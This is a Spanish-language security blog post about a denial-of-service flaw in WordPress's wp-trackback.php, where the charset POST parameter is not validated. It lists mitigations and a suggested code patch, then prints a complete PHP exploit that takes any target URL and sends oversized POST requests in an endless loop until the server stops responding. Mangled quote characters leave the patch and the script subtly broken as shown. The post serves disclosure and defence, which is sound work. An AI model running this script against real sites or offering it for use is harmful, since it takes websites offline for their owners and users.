Denegacion de Servicio en WordPress

DragonJAR 336x280 Denegacion de Servicio en WordPress

Jose Carlos Norte acaba de publicar en su blog, un nuevo fallo de descubierto en el popular , este fallo permite a a cualquier persona de forma sencilla dejar fuera de linea un blog con causando una denegacion de servicio.

4027319134 4ef81cac76 o Denegacion de Servicio en WordPress

El se encuentra en el archivo wp-trackback. quien no valida adecuadamente la variable $charset, permitiendo ingresar una peticion POST especialmente diseñada con una cantidad indeterminada de parámetros, causando un  gran consumo de memoria y CPU hasta que estos se agoten y el servidor deja de responder.

Todas las versiones de WordPress hasta el momento son vulnerables a este fallo (y según Jose Carlos, el parche que publicaría WordPress tampoco lo soluciona), aunque dependiendo de la configuración individual de cada servidor, el problema es mayor o menor, por ejemplo un servido con mod_security, no seria ya que  bloquearía estas peticiones mal intencionadas,  también se pueden mitigar los daños con una adecuada configuración del parámetro php_memory_limit del php.ini para evitar que tus desarrollos web utilicen mas memoria de la que en realidad necesitan, podrías también utilizar el WP-IDS un mod para WordPress del PHPIDS (reseñado el la guía blanca de seguridad en wordpress WordPress Security Whitepaper) el cual bloquearía no solo estas peticiones sino muchos mas problemas de seguridad.

Les dejo la solución propuesta por Jose Carlos en su blog para este problema:

Reemplazar en la linea 45 del archivo wp-trackback.php esto
$charset = $_POST['charset'];

por esto
$charset = str_replace(”,”,””,$_POST['charset']);
if(is_array($charset)) { exit; }

Y el exploit para verificar que somos vulnerables:

<?php
//wordpress Resource exhaustion Exploit
//http://rooibo.wordpress.com/
//[email protected] contacted and get a response,
//but no solution available.
if(count($argv) < 2) {
echo “You need to specify a url to attack\n”;
exit;
}

$url = $argv[1];

$data = parse_url($url);
if(count($data) < 2) { echo “The url should have http:// in front of it, and should be complete.\n”; exit; } if(count($data) == 2) { $path = ”; } else { $path = $data['path']; } $path = trim($path,’/’); $path .= ‘/wp-trackback.php’; if($path{0} != ‘/’) { $path = ‘/’.$path; } $b = “”; $b = str_pad($b,140000,’ABCEDFG’); $b = utf8_encode($b); $charset = “”; $charset = str_pad($charset,140000,”UTF-8,”); $str = ‘charset=’.urlencode($charset); $str .= ‘&url=www.example.com’; $str .= ‘&title=’.$b; $str .= ‘&blog_name=lol’; $str .= ‘&excerpt=lol’; $count = 0; while(1) { $fp = @fsockopen($data['host'],80); if(!$fp) { if($count > 0) {
echo “down!!!!\n”;
exit;
}
echo “unable to connect to: “.$data['host'].”\n”;
exit;
}

fputs($fp, “POST $path HTTP/1.1\r\n”);
fputs($fp, “Host: “.$data['host'].”\r\n”);
fputs($fp, “Content-type: application/x-www-form-urlencoded\r\n”);
fputs($fp, “Content-length: “.strlen($str).”\r\n”);
fputs($fp, “Connection: close\r\n\r\n”);
fputs($fp, $str.”\r\n\r\n”);

echo “hit!\n”;
$count++;
}

?>

Para mas informacion:
Agujero de seguridad muy grave en WordPress
Atención! BUG WordPress
WordPress Security Whitepaper

$charset = $_POST['charset'];


Si te ha gustado el post, compartelo y ayudanos a crecer.

Unete a nuestra Fanpage Siguenos en Twitter

Autor: DragoN

Ingeniero en Sistemas y Telecomunicaciones de la Universidad de Manizales. Information Security Researcher con más de 10 años de experiencias en Ethical Hacking, Pen Testing y Análisis Forense. Docente Universitario en Pre y Post-Grado, Speaker y Organizador de diferentes eventos de Seguridad Informática, Co-Fundador del ACK Security Conference y Fundador de DragonJAR SAS y de La Comunidad DragonJAR, una de las comunidades de seguridad informática mas grandes de habla hispana y referente en el sector.

Compartir este Artículo